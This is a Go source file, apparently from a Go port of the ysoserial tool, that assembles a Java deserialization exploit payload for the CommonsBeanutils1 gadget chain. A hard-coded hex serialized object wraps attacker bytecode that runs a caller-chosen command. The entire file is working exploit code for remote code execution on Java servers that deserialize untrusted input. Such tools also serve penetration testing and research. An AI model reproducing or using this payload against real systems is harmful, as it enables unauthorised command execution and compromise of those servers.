package gadget

import (
	"encoding/hex"
	"github.com/EmYiQing/Gososerial/ysoserial/util"
)

const CB1 = "CommonsBeanutils1"

func GetCommonsBeanutils1(cmd string) []byte {
	globalPrefix := "ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30" +
		"B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F757469" +
		"6C2F436F6D70617261746F723B7870000000027372002B6F72672E6170616368652E636F6D6D6F6E" +
		"732E6265616E7574696C732E4265616E436F6D70617261746F72E3A188EA7322A4480200024C000A" +
		"636F6D70617261746F7271007E00014C000870726F70657274797400124C6A6176612F6C616E672F" +
		"537472696E673B78707372003F6F72672E6170616368652E636F6D6D6F6E732E636F6C6C65637469" +
		"6F6E732E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925" +
		"B86EB13702000078707400106F757470757450726F706572746965737704000000037372003A636F" +
		"6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E7472" +
		"61782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D" +
		"62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B" +
		"00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E" +
		"00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F70" +
		"6572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB370200007870000000" +
		"02757200025B42ACF317F8060854E00200007870"
	templateImpl := GetFrohoffTemplateImpl(cmd)
	templateImplStr := hex.EncodeToString(templateImpl)
	length := len(templateImpl)
	lenStr := util.Int32ToBytes(uint32(length))
	globalSuffix := "7571007E0010000001D4CAFEBABE00000032001B0A00030015070017070018070019" +
		"01001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505" +
		"71E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D" +
		"6265725461626C650100124C6F63616C5661726961626C655461626C650100047468697301000346" +
		"6F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F" +
		"7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C47616467657473" +
		"2E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F" +
		"4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F" +
		"2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F" +
		"47616467657473002100020003000100040001001A00050006000100070000000200080001000100" +
		"0A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003C" +
		"000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016" +
		"001000097074000450776E72707701007871007E000D78"
	temp := globalPrefix + lenStr + templateImplStr + globalSuffix
	data, _ := hex.DecodeString(temp)
	return data
}
